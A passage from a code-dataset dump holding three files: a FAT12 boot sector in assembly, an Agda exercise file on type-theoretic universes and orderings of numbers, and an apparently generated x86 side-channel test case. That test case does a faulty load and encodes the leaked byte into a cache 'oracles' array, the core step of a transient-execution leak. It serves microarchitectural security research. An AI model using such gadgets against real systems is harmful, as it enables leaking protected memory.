max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
Source/Init.asm
|
SlickOS/Gloss-BootSector.FD
| 0 |
93100
|
.code16
.intel_syntax noprefix
.section .text
.global BootEntry
BootEntry:
jmp BootStart
BootBlock.OEMIdent: .ascii "PotatOS "
BootBlock.BytesPerSector: .word 512
BootBlock.SectorsPerCluster: .byte 1
BootBlock.ReservedSectors: .word 1
BootBlock.NumberOfFATs: .byte 2
BootBlock.RootEntries: .word 224
BootBlock.TotalSectors: .word 2880
BootBlock.Media: .byte 0xF0
BootBlock.SectorsPerFAT: .word 9
BootBlock.SectorsPerTrack: .word 18
BootBlock.HeadsPerCylinder: .word 2
BootBlock.HiddenSectors: .int 0
BootBlock.TotalSectorsBig: .int 0
BootBlock.DriveNumber: .byte 0
BootBlock.Unused: .byte 0
BootBlock.Signature: .byte 0x29
BootBlock.Serial: .int 0x02011997
BootBlock.VolumeLabel: .ascii "PotatOSBoot"
BootBlock.FileSystem: .ascii "FAT12 "
Disk.Sector: .skip 1, 0x00
Disk.Head: .skip 1, 0x00
Disk.Track: .skip 1, 0x00
Disk.Base: .skip 2, 0x0000
Disk.Cluster: .skip 2, 0x0000
FileName: .ascii "GLOSS SYS"
ClusterLBA:
sub ax, 0x0002
xor cx, cx
mov cl, byte ptr [BootBlock.SectorsPerCluster]
mul cx
add ax, word ptr [Disk.Base]
ret
LBACHS:
xor dx, dx
div word ptr [BootBlock.SectorsPerTrack]
inc dl
mov [Disk.Sector], dl
xor dx, dx
div word ptr [BootBlock.HeadsPerCylinder]
mov [Disk.Head], dl
mov [Disk.Track], al
ret
ReadSectors:
mov di, 0x0005
ReadSectors.Read:
push ax
push bx
push cx
call LBACHS
mov ah, 0x02
mov al, 0x01
mov ch, byte ptr [Disk.Track]
mov cl, byte ptr [Disk.Sector]
mov dh, byte ptr [Disk.Head]
mov dl, byte ptr [BootBlock.DriveNumber]
int 0x13
jnc ReadSectors.Success
xor ax, ax
int 0x13
dec di
pop cx
pop bx
pop ax
jnz ReadSectors.Read
cli
hlt
ReadSectors.Success:
pop cx
pop bx
pop ax
add bx, word ptr [BootBlock.BytesPerSector]
inc ax
loop ReadSectors
ret
BootStart:
jmp 0x0000:BootMain
BootMain:
cli
xor ax, ax
mov ds, ax
mov es, ax
mov ss, ax
mov sp, 0x7C00
sti
mov byte ptr [BootBlock.DriveNumber], dl
LoadRoot:
xor cx, cx
xor dx, dx
mov ax, 0x0020
mul word ptr [BootBlock.RootEntries]
div word ptr [BootBlock.BytesPerSector]
xchg ax, cx
mov al, byte ptr [BootBlock.NumberOfFATs]
mul word ptr [BootBlock.SectorsPerFAT]
add ax, word ptr [BootBlock.ReservedSectors]
mov word ptr [Disk.Base], ax
add word ptr [Disk.Base], cx
mov bx, 0x7E00
call ReadSectors
mov cx, word ptr [BootBlock.RootEntries]
mov di, 0x7E00
LoadRoot.Loop:
push cx
mov cx, 0x000B
mov si, offset FileName
push di
rep cmpsb
pop di
je LoadFAT
pop cx
add di, 0x0020
loop LoadRoot.Loop
jmp Failure
LoadFAT:
mov dx, word ptr [di + 0x001A]
mov word ptr [Disk.Cluster], dx
xor ax, ax
mov al, byte ptr [BootBlock.NumberOfFATs]
mul word ptr [BootBlock.SectorsPerFAT]
mov cx, ax
mov ax, word ptr [BootBlock.ReservedSectors]
mov bx, 0x7E00
call ReadSectors
// mov ax, 0x0700
// mov es, ax
mov bx, 0x8000
push bx
LoadImage:
mov ax, word ptr [Disk.Cluster]
pop bx
call ClusterLBA
xor cx, cx
mov cl, byte ptr [BootBlock.SectorsPerCluster]
call ReadSectors
push bx
mov ax, word ptr [Disk.Cluster]
mov cx, ax
mov dx, ax
shr dx, 0x0001
add cx, dx
mov bx, 0x7E00
add bx, cx
mov dx, word ptr [bx]
test ax, 0x0001
jnz LoadImage.Odd
LoadImage.Even:
and dx, 0x0FFF
jmp LoadImage.Done
LoadImage.Odd:
shr dx, 0x0004
LoadImage.Done:
mov word ptr [Disk.Cluster], dx
// push dx
// mov bp, '0'
// mov di, 'A'
// sub di, 10
// push bx
// mov ax, dx
// xor dx, dx
// mov bx, 4096
// div bx
// xchg ax, dx
// push ax
// mov eax, 0xb8000
// cmp dl, 9
// cmovbe bx, bp
// cmova bx, di
// add dx, bx
// mov [eax], dl
// pop ax
// xor dx, dx
// mov bx, 256
// div bx
// xchg ax, dx
// push ax
// mov eax, 0xb8002
// cmp dl, 9
// cmovbe bx, bp
// cmova bx, di
// add dx, bx
// mov [eax], dl
// pop ax
// xor dx, dx
// mov bl, 16
// div bl
// xchg ax, dx
// mov eax, 0xb8004
// push dx
// cmp dl, 9
// cmovbe bx, bp
// cmova bx, di
// add dx, bx
// mov [eax], dl
// pop dx
// mov dl, dh
// cmp dl, 9
// cmovbe bx, bp
// cmova bx, di
// add dx, bx
// mov eax, 0xb8006
// mov [eax], dl
// pop bx
// pop dx
cmp dx, 0x0FF0
jb LoadImage
mov eax, 0xb8010
mov word ptr [eax], 0x7777
xchg bx, bx
push 0x0000
push 0x8000
retf
Failure:
xor ah, ah
cli
hlt
.org 510
.word 0xaa55
|
Agda/06-universes.agda
|
tadejpetric/HoTT-Intro
| 0 |
17479
|
<filename>Agda/06-universes.agda
{-# OPTIONS --without-K --exact-split --allow-unsolved-metas #-}
module 06-universes where
import 05-identity-types
open 05-identity-types public
-- Section 4.1 Type theoretic universes
{- Because of Agda's design we already had to introduce universes in the very
first file. What is left to do here is to formalize the examples of
structured types. -}
-- Pointed types
UU-pt : (i : Level) → UU (lsuc i)
UU-pt i = Σ (UU i) (λ X → X)
-- Graphs
Gph : (i : Level) → UU (lsuc i)
Gph i = Σ (UU i) (λ X → (X → X → (UU i)))
-- Reflexive graphs
rGph : (i : Level) → UU (lsuc i)
rGph i = Σ (UU i) (λ X → Σ (X → X → (UU i)) (λ R → (x : X) → R x x))
-- Section 4.2 Defining families and relations using a universe
-- Finite sets
Fin : ℕ → UU lzero
Fin zero-ℕ = empty
Fin (succ-ℕ n) = coprod (Fin n) unit
-- Observational equality on the natural numbers
Eq-ℕ : ℕ → (ℕ → UU lzero)
Eq-ℕ zero-ℕ zero-ℕ = 𝟙
Eq-ℕ zero-ℕ (succ-ℕ n) = 𝟘
Eq-ℕ (succ-ℕ m) zero-ℕ = 𝟘
Eq-ℕ (succ-ℕ m) (succ-ℕ n) = Eq-ℕ m n
-- Exercises
-- Exercise 3.1
{- In this exercise we were asked to show that (A + ¬A) implies (¬¬A → A). In
other words, we get double negation elimination for the types that are
decidable. -}
is-decidable : {l : Level} (A : UU l) → UU l
is-decidable A = coprod A (¬ A)
double-negation-elim-is-decidable :
{i : Level} (A : UU i) → is-decidable A → (¬ (¬ A) → A)
double-negation-elim-is-decidable A (inl x) p = x
double-negation-elim-is-decidable A (inr x) p = ind-empty (p x)
-- Exercise 3.3
{- In this exercise we were asked to show that the observational equality on ℕ
is an equivalence relation. -}
refl-Eq-ℕ : (n : ℕ) → Eq-ℕ n n
refl-Eq-ℕ zero-ℕ = star
refl-Eq-ℕ (succ-ℕ n) = refl-Eq-ℕ n
symmetric-Eq-ℕ : (m n : ℕ) → Eq-ℕ m n → Eq-ℕ n m
symmetric-Eq-ℕ zero-ℕ zero-ℕ t = t
symmetric-Eq-ℕ zero-ℕ (succ-ℕ n) t = t
symmetric-Eq-ℕ (succ-ℕ n) zero-ℕ t = t
symmetric-Eq-ℕ (succ-ℕ m) (succ-ℕ n) t = symmetric-Eq-ℕ m n t
transitive-Eq-ℕ : (l m n : ℕ) → Eq-ℕ l m → Eq-ℕ m n → Eq-ℕ l n
transitive-Eq-ℕ zero-ℕ zero-ℕ zero-ℕ s t = star
transitive-Eq-ℕ (succ-ℕ n) zero-ℕ zero-ℕ s t = ind-empty s
transitive-Eq-ℕ zero-ℕ (succ-ℕ n) zero-ℕ s t = ind-empty s
transitive-Eq-ℕ zero-ℕ zero-ℕ (succ-ℕ n) s t = ind-empty t
transitive-Eq-ℕ (succ-ℕ l) (succ-ℕ m) zero-ℕ s t = ind-empty t
transitive-Eq-ℕ (succ-ℕ l) zero-ℕ (succ-ℕ n) s t = ind-empty s
transitive-Eq-ℕ zero-ℕ (succ-ℕ m) (succ-ℕ n) s t = ind-empty s
transitive-Eq-ℕ (succ-ℕ l) (succ-ℕ m) (succ-ℕ n) s t = transitive-Eq-ℕ l m n s t
-- Exercise 3.4
{- In this exercise we were asked to show that observational equality on the
natural numbers is the least reflexive relation, in the sense that it
implies all other reflexive relation. As we will see once we introduce the
identity type, it follows that observationally equal natural numbers can be
identified. -}
succ-relation-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) → ℕ → ℕ → UU i
succ-relation-ℕ R m n = R (succ-ℕ m) (succ-ℕ n)
succ-reflexivity-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) (ρ : (n : ℕ) → R n n) →
(n : ℕ) → succ-relation-ℕ R n n
succ-reflexivity-ℕ R ρ n = ρ (succ-ℕ n)
{- In the book we suggest that first the order of the variables should be
swapped, in order to make the inductive hypothesis stronger. Agda's pattern
matching mechanism allows us to bypass this step and give a more direct
construction. -}
least-reflexive-Eq-ℕ :
{i : Level} (R : ℕ → ℕ → UU i) (ρ : (n : ℕ) → R n n) →
(m n : ℕ) → Eq-ℕ m n → R m n
least-reflexive-Eq-ℕ R ρ zero-ℕ zero-ℕ star = ρ zero-ℕ
least-reflexive-Eq-ℕ R ρ zero-ℕ (succ-ℕ n) ()
least-reflexive-Eq-ℕ R ρ (succ-ℕ m) zero-ℕ ()
least-reflexive-Eq-ℕ R ρ (succ-ℕ m) (succ-ℕ n) e =
least-reflexive-Eq-ℕ (succ-relation-ℕ R) (succ-reflexivity-ℕ R ρ) m n e
-- Exercise 3.5
{- In this exercise we were asked to show that any function on the natural
numbers preserves observational equality. The quick solution uses the fact
that observational equality is the least reflexive relation. -}
preserve_Eq-ℕ : (f : ℕ → ℕ) (n m : ℕ) → (Eq-ℕ n m) → (Eq-ℕ (f n) (f m))
preserve_Eq-ℕ f =
least-reflexive-Eq-ℕ
( λ x y → Eq-ℕ (f x) (f y))
( λ x → refl-Eq-ℕ (f x))
-- Exercise 3.6
{- In this exercise we were asked to construct the relations ≤ and < on the
natural numbers, and show basic properties about them. -}
-- The definition of ≤
leq-ℕ : ℕ → ℕ → UU lzero
leq-ℕ zero-ℕ m = unit
leq-ℕ (succ-ℕ n) zero-ℕ = empty
leq-ℕ (succ-ℕ n) (succ-ℕ m) = leq-ℕ n m
_≤_ = leq-ℕ
leq-zero-ℕ :
(n : ℕ) → leq-ℕ zero-ℕ n
leq-zero-ℕ zero-ℕ = star
leq-zero-ℕ (succ-ℕ n) = star
-- The definition of <
le-ℕ : ℕ → ℕ → UU lzero
le-ℕ m zero-ℕ = empty
le-ℕ zero-ℕ (succ-ℕ m) = unit
le-ℕ (succ-ℕ n) (succ-ℕ m) = le-ℕ n m
_<_ = le-ℕ
reflexive-leq-ℕ : (n : ℕ) → n ≤ n
reflexive-leq-ℕ zero-ℕ = star
reflexive-leq-ℕ (succ-ℕ n) = reflexive-leq-ℕ n
anti-reflexive-le-ℕ : (n : ℕ) → ¬ (n < n)
anti-reflexive-le-ℕ zero-ℕ = ind-empty
anti-reflexive-le-ℕ (succ-ℕ n) = anti-reflexive-le-ℕ n
transitive-leq-ℕ :
(n m l : ℕ) → (n ≤ m) → (m ≤ l) → (n ≤ l)
transitive-leq-ℕ zero-ℕ m l p q = star
transitive-leq-ℕ (succ-ℕ n) (succ-ℕ m) (succ-ℕ l) p q =
transitive-leq-ℕ n m l p q
transitive-le-ℕ : (n m l : ℕ) → (le-ℕ n m) → (le-ℕ m l) → (le-ℕ n l)
transitive-le-ℕ zero-ℕ (succ-ℕ m) (succ-ℕ l) p q = star
transitive-le-ℕ (succ-ℕ n) (succ-ℕ m) (succ-ℕ l) p q =
transitive-le-ℕ n m l p q
succ-le-ℕ : (n : ℕ) → le-ℕ n (succ-ℕ n)
succ-le-ℕ zero-ℕ = star
succ-le-ℕ (succ-ℕ n) = succ-le-ℕ n
-- Exercise 3.7
{- With the construction of the divisibility relation we open the door to basic
number theory. -}
divides : (d n : ℕ) → UU lzero
divides d n = Σ ℕ (λ m → Eq-ℕ (mul-ℕ d m) n)
-- Exercise 3.8
{- In this exercise we were asked to construct observational equality on the
booleans. This construction is analogous to, but simpler than, the
construction of observational equality on the natural numbers. -}
Eq-𝟚 : bool → bool → UU lzero
Eq-𝟚 true true = unit
Eq-𝟚 true false = empty
Eq-𝟚 false true = empty
Eq-𝟚 false false = unit
reflexive-Eq-𝟚 : (x : bool) → Eq-𝟚 x x
reflexive-Eq-𝟚 true = star
reflexive-Eq-𝟚 false = star
least-reflexive-Eq-𝟚 : {i : Level}
(R : bool → bool → UU i) (ρ : (x : bool) → R x x)
(x y : bool) → Eq-𝟚 x y → R x y
least-reflexive-Eq-𝟚 R ρ true true p = ρ true
least-reflexive-Eq-𝟚 R ρ true false p = ind-empty p
least-reflexive-Eq-𝟚 R ρ false true p = ind-empty p
least-reflexive-Eq-𝟚 R ρ false false p = ρ false
-- Exercise 3.10
{- In this exercise we were asked to define the relations ≤ and < on the
integers. As a criterion of correctness, we were then also asked to show
that the type of all integers l satisfying k ≤ l satisfy the induction
principle of the natural numbers. -}
is-non-negative-ℤ : ℤ → UU lzero
is-non-negative-ℤ (inl x) = empty
is-non-negative-ℤ (inr k) = unit
diff-ℤ : ℤ → ℤ → ℤ
diff-ℤ k l = add-ℤ (neg-ℤ k) l
leq-ℤ : ℤ → ℤ → UU lzero
leq-ℤ k l = is-non-negative-ℤ (diff-ℤ k l)
reflexive-leq-ℤ : (k : ℤ) → leq-ℤ k k
reflexive-leq-ℤ k =
tr is-non-negative-ℤ (inv (left-inverse-law-add-ℤ k)) star
is-non-negative-succ-ℤ :
(k : ℤ) → is-non-negative-ℤ k → is-non-negative-ℤ (succ-ℤ k)
is-non-negative-succ-ℤ (inr (inl star)) p = star
is-non-negative-succ-ℤ (inr (inr x)) p = star
is-non-negative-add-ℤ :
(k l : ℤ) →
is-non-negative-ℤ k → is-non-negative-ℤ l → is-non-negative-ℤ (add-ℤ k l)
is-non-negative-add-ℤ (inr (inl star)) (inr (inl star)) p q = star
is-non-negative-add-ℤ (inr (inl star)) (inr (inr n)) p q = star
is-non-negative-add-ℤ (inr (inr zero-ℕ)) (inr (inl star)) p q = star
is-non-negative-add-ℤ (inr (inr (succ-ℕ n))) (inr (inl star)) star star =
is-non-negative-succ-ℤ
( add-ℤ (inr (inr n)) (inr (inl star)))
( is-non-negative-add-ℤ (inr (inr n)) (inr (inl star)) star star)
is-non-negative-add-ℤ (inr (inr zero-ℕ)) (inr (inr m)) star star = star
is-non-negative-add-ℤ (inr (inr (succ-ℕ n))) (inr (inr m)) star star =
is-non-negative-succ-ℤ
( add-ℤ (inr (inr n)) (inr (inr m)))
( is-non-negative-add-ℤ (inr (inr n)) (inr (inr m)) star star)
triangle-diff-ℤ :
(k l m : ℤ) → Id (add-ℤ (diff-ℤ k l) (diff-ℤ l m)) (diff-ℤ k m)
triangle-diff-ℤ k l m =
( associative-add-ℤ (neg-ℤ k) l (diff-ℤ l m)) ∙
( ap
( add-ℤ (neg-ℤ k))
( ( inv (associative-add-ℤ l (neg-ℤ l) m)) ∙
( ( ap (λ x → add-ℤ x m) (right-inverse-law-add-ℤ l)) ∙
( left-unit-law-add-ℤ m))))
transitive-leq-ℤ : (k l m : ℤ) → leq-ℤ k l → leq-ℤ l m → leq-ℤ k m
transitive-leq-ℤ k l m p q =
tr is-non-negative-ℤ
( triangle-diff-ℤ k l m)
( is-non-negative-add-ℤ
( add-ℤ (neg-ℤ k) l)
( add-ℤ (neg-ℤ l) m)
( p)
( q))
succ-leq-ℤ : (k : ℤ) → leq-ℤ k (succ-ℤ k)
succ-leq-ℤ k =
tr is-non-negative-ℤ
( inv
( ( right-successor-law-add-ℤ (neg-ℤ k) k) ∙
( ap succ-ℤ (left-inverse-law-add-ℤ k))))
( star)
leq-ℤ-succ-leq-ℤ : (k l : ℤ) → leq-ℤ k l → leq-ℤ k (succ-ℤ l)
leq-ℤ-succ-leq-ℤ k l p = transitive-leq-ℤ k l (succ-ℤ l) p (succ-leq-ℤ l)
is-positive-ℤ : ℤ → UU lzero
is-positive-ℤ k = is-non-negative-ℤ (pred-ℤ k)
le-ℤ : ℤ → ℤ → UU lzero
le-ℤ (inl zero-ℕ) (inl x) = empty
le-ℤ (inl zero-ℕ) (inr y) = unit
le-ℤ (inl (succ-ℕ x)) (inl zero-ℕ) = unit
le-ℤ (inl (succ-ℕ x)) (inl (succ-ℕ y)) = le-ℤ (inl x) (inl y)
le-ℤ (inl (succ-ℕ x)) (inr y) = unit
le-ℤ (inr x) (inl y) = empty
le-ℤ (inr (inl star)) (inr (inl star)) = empty
le-ℤ (inr (inl star)) (inr (inr x)) = unit
le-ℤ (inr (inr x)) (inr (inl star)) = empty
le-ℤ (inr (inr zero-ℕ)) (inr (inr zero-ℕ)) = empty
le-ℤ (inr (inr zero-ℕ)) (inr (inr (succ-ℕ y))) = unit
le-ℤ (inr (inr (succ-ℕ x))) (inr (inr zero-ℕ)) = empty
le-ℤ (inr (inr (succ-ℕ x))) (inr (inr (succ-ℕ y))) =
le-ℤ (inr (inr x)) (inr (inr y))
-- We prove that the induction principle for ℕ implies strong induction.
zero-ℕ-leq-ℕ :
(n : ℕ) → leq-ℕ zero-ℕ n
zero-ℕ-leq-ℕ n = star
fam-strong-ind-ℕ :
{ l : Level} → (ℕ → UU l) → ℕ → UU l
fam-strong-ind-ℕ P n = (m : ℕ) → (leq-ℕ m n) → P m
zero-strong-ind-ℕ :
{ l : Level} (P : ℕ → UU l) → P zero-ℕ → fam-strong-ind-ℕ P zero-ℕ
zero-strong-ind-ℕ P p0 zero-ℕ t = p0
zero-strong-ind-ℕ P p0 (succ-ℕ m) ()
succ-strong-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( (k : ℕ) → (fam-strong-ind-ℕ P k) → P (succ-ℕ k)) →
( k : ℕ) → (fam-strong-ind-ℕ P k) → (fam-strong-ind-ℕ P (succ-ℕ k))
succ-strong-ind-ℕ P pS k f zero-ℕ t = f zero-ℕ (zero-ℕ-leq-ℕ k)
succ-strong-ind-ℕ P pS k f (succ-ℕ m) t =
pS m (λ m' t' → f m' (transitive-leq-ℕ m' m k t' t))
conclusion-strong-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( ( n : ℕ) → fam-strong-ind-ℕ P n) → (n : ℕ) → P n
conclusion-strong-ind-ℕ P f n = f n n (reflexive-leq-ℕ n)
induction-strong-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( fam-strong-ind-ℕ P zero-ℕ) →
( (k : ℕ) → (fam-strong-ind-ℕ P k) → (fam-strong-ind-ℕ P (succ-ℕ k))) →
( n : ℕ) → fam-strong-ind-ℕ P n
induction-strong-ind-ℕ P q0 qS zero-ℕ = q0
induction-strong-ind-ℕ P q0 qS (succ-ℕ n) = qS n
( induction-strong-ind-ℕ P q0 qS n)
strong-ind-ℕ :
{ l : Level} → (P : ℕ → UU l) (p0 : P zero-ℕ) →
( pS : (k : ℕ) → (fam-strong-ind-ℕ P k) → P (succ-ℕ k)) →
( n : ℕ) → P n
strong-ind-ℕ P p0 pS =
conclusion-strong-ind-ℕ P
( induction-strong-ind-ℕ P
( zero-strong-ind-ℕ P p0)
( succ-strong-ind-ℕ P pS))
-- We show that induction on ℕ implies ordinal induction.
fam-ordinal-ind-ℕ :
{ l : Level} → (ℕ → UU l) → ℕ → UU l
fam-ordinal-ind-ℕ P n = (m : ℕ) → (le-ℕ m n) → P m
le-zero-ℕ :
(m : ℕ) → (le-ℕ m zero-ℕ) → empty
le-zero-ℕ zero-ℕ ()
le-zero-ℕ (succ-ℕ m) ()
zero-ordinal-ind-ℕ :
{ l : Level} (P : ℕ → UU l) → fam-ordinal-ind-ℕ P zero-ℕ
zero-ordinal-ind-ℕ P m t = ind-empty (le-zero-ℕ m t)
le-one-ℕ :
(n : ℕ) → le-ℕ (succ-ℕ n) one-ℕ → empty
le-one-ℕ zero-ℕ ()
le-one-ℕ (succ-ℕ n) ()
transitive-le-ℕ' :
(k l m : ℕ) → (le-ℕ k l) → (le-ℕ l (succ-ℕ m)) → le-ℕ k m
transitive-le-ℕ' zero-ℕ zero-ℕ m () s
transitive-le-ℕ' (succ-ℕ k) zero-ℕ m () s
transitive-le-ℕ' zero-ℕ (succ-ℕ l) zero-ℕ star s = ind-empty (le-one-ℕ l s)
transitive-le-ℕ' (succ-ℕ k) (succ-ℕ l) zero-ℕ t s = ind-empty (le-one-ℕ l s)
transitive-le-ℕ' zero-ℕ (succ-ℕ l) (succ-ℕ m) star s = star
transitive-le-ℕ' (succ-ℕ k) (succ-ℕ l) (succ-ℕ m) t s =
transitive-le-ℕ' k l m t s
succ-ordinal-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( (n : ℕ) → (fam-ordinal-ind-ℕ P n) → P n) →
( k : ℕ) → fam-ordinal-ind-ℕ P k → fam-ordinal-ind-ℕ P (succ-ℕ k)
succ-ordinal-ind-ℕ P f k g m t =
f m (λ m' t' → g m' (transitive-le-ℕ' m' m k t' t))
induction-ordinal-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( qS : (k : ℕ) → fam-ordinal-ind-ℕ P k → fam-ordinal-ind-ℕ P (succ-ℕ k))
( n : ℕ) → fam-ordinal-ind-ℕ P n
induction-ordinal-ind-ℕ P qS zero-ℕ = zero-ordinal-ind-ℕ P
induction-ordinal-ind-ℕ P qS (succ-ℕ n) =
qS n (induction-ordinal-ind-ℕ P qS n)
conclusion-ordinal-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
(( n : ℕ) → fam-ordinal-ind-ℕ P n) → (n : ℕ) → P n
conclusion-ordinal-ind-ℕ P f n = f (succ-ℕ n) n (succ-le-ℕ n)
ordinal-ind-ℕ :
{ l : Level} (P : ℕ → UU l) →
( (n : ℕ) → (fam-ordinal-ind-ℕ P n) → P n) →
( n : ℕ) → P n
ordinal-ind-ℕ P f =
conclusion-ordinal-ind-ℕ P
( induction-ordinal-ind-ℕ P (succ-ordinal-ind-ℕ P f))
-- Extra material
-- We show that ℕ is an ordered semi-ring
leq-eq-ℕ : {m m' n n' : ℕ} → Id m m' → Id n n' → leq-ℕ m n → leq-ℕ m' n'
leq-eq-ℕ refl refl = id
right-law-leq-add-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (add-ℕ k m) (add-ℕ k n)
right-law-leq-add-ℕ zero-ℕ m n = id
right-law-leq-add-ℕ (succ-ℕ k) m n H = right-law-leq-add-ℕ k m n H
left-law-leq-add-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (add-ℕ m k) (add-ℕ n k)
left-law-leq-add-ℕ k m n H =
leq-eq-ℕ
( commutative-add-ℕ k m)
( commutative-add-ℕ k n)
( right-law-leq-add-ℕ k m n H)
preserves-leq-add-ℕ :
{m m' n n' : ℕ} → leq-ℕ m m' → leq-ℕ n n' → leq-ℕ (add-ℕ m n) (add-ℕ m' n')
preserves-leq-add-ℕ {m} {m'} {n} {n'} H K =
transitive-leq-ℕ
( add-ℕ m n)
( add-ℕ m' n)
( add-ℕ m' n')
( left-law-leq-add-ℕ n m m' H)
( right-law-leq-add-ℕ m' n n' K)
right-law-leq-mul-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (mul-ℕ k m) (mul-ℕ k n)
right-law-leq-mul-ℕ zero-ℕ m n H = star
right-law-leq-mul-ℕ (succ-ℕ k) m n H =
preserves-leq-add-ℕ
{ m = mul-ℕ k m}
{ m' = mul-ℕ k n}
( right-law-leq-mul-ℕ k m n H) H
left-law-leq-mul-ℕ : (k m n : ℕ) → leq-ℕ m n → leq-ℕ (mul-ℕ m k) (mul-ℕ n k)
left-law-leq-mul-ℕ k m n H =
leq-eq-ℕ
( commutative-mul-ℕ k m)
( commutative-mul-ℕ k n)
( right-law-leq-mul-ℕ k m n H)
-- We show that ℤ is an ordered ring
{-
leq-add-ℤ : (m k l : ℤ) → leq-ℤ k l → leq-ℤ (add-ℤ m k) (add-ℤ m l)
leq-add-ℤ (inl zero-ℕ) k l H = {!!}
leq-add-ℤ (inl (succ-ℕ x)) k l H = {!!}
leq-add-ℤ (inr m) k l H = {!!}
-}
-- Section 5.5 Identity systems
succ-fam-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i) →
(m n : ℕ) → Eq-ℕ m n → UU i
succ-fam-Eq-ℕ R m n e = R (succ-ℕ m) (succ-ℕ n) e
succ-refl-fam-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
(ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
(n : ℕ) → (succ-fam-Eq-ℕ R n n (refl-Eq-ℕ n))
succ-refl-fam-Eq-ℕ R ρ n = ρ (succ-ℕ n)
path-ind-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
( ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
( m n : ℕ) (e : Eq-ℕ m n) → R m n e
path-ind-Eq-ℕ R ρ zero-ℕ zero-ℕ star = ρ zero-ℕ
path-ind-Eq-ℕ R ρ zero-ℕ (succ-ℕ n) ()
path-ind-Eq-ℕ R ρ (succ-ℕ m) zero-ℕ ()
path-ind-Eq-ℕ R ρ (succ-ℕ m) (succ-ℕ n) e =
path-ind-Eq-ℕ (succ-fam-Eq-ℕ R) (succ-refl-fam-Eq-ℕ R ρ) m n e
comp-path-ind-Eq-ℕ :
{i : Level} (R : (m n : ℕ) → Eq-ℕ m n → UU i)
( ρ : (n : ℕ) → R n n (refl-Eq-ℕ n)) →
( n : ℕ) → Id (path-ind-Eq-ℕ R ρ n n (refl-Eq-ℕ n)) (ρ n)
comp-path-ind-Eq-ℕ R ρ zero-ℕ = refl
comp-path-ind-Eq-ℕ R ρ (succ-ℕ n) =
comp-path-ind-Eq-ℕ (succ-fam-Eq-ℕ R) (succ-refl-fam-Eq-ℕ R ρ) n
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_5174_1563.asm
|
ljhsiun2/medusa
| 9 |
163751
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rbp
push %rdx
push %rsi
lea addresses_WT_ht+0x19278, %r11
nop
nop
nop
nop
cmp $38388, %r9
mov (%r11), %bp
nop
sub $47796, %rsi
lea addresses_WT_ht+0x1358a, %r9
nop
nop
add %r13, %r13
movb (%r9), %dl
nop
nop
cmp $16927, %rdx
lea addresses_normal_ht+0x16dd2, %r9
nop
nop
nop
nop
add %r11, %r11
mov (%r9), %edx
nop
cmp $6487, %r11
lea addresses_D_ht+0x71d2, %rbp
and $13624, %r10
mov $0x6162636465666768, %r13
movq %r13, %xmm3
vmovups %ymm3, (%rbp)
xor $11231, %r10
lea addresses_D_ht+0x1a7c0, %rbp
nop
nop
nop
sub $361, %rsi
movb (%rbp), %r10b
dec %r13
lea addresses_WC_ht+0xec56, %r10
nop
nop
nop
nop
nop
add $64255, %rbp
mov $0x6162636465666768, %r13
movq %r13, %xmm6
movups %xmm6, (%r10)
nop
nop
nop
nop
xor $9600, %rsi
pop %rsi
pop %rdx
pop %rbp
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r8
push %r9
push %rbp
push %rcx
// Store
lea addresses_WC+0x1a5b2, %r15
nop
cmp $61469, %r13
mov $0x5152535455565758, %r8
movq %r8, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
and %r8, %r8
// Store
lea addresses_US+0x1fd2, %r8
nop
cmp %r10, %r10
movl $0x51525354, (%r8)
nop
nop
nop
sub $3950, %r9
// Faulty Load
lea addresses_WC+0x10dd2, %r13
nop
nop
nop
nop
sub $62663, %rcx
vmovups (%r13), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r8
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': True, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
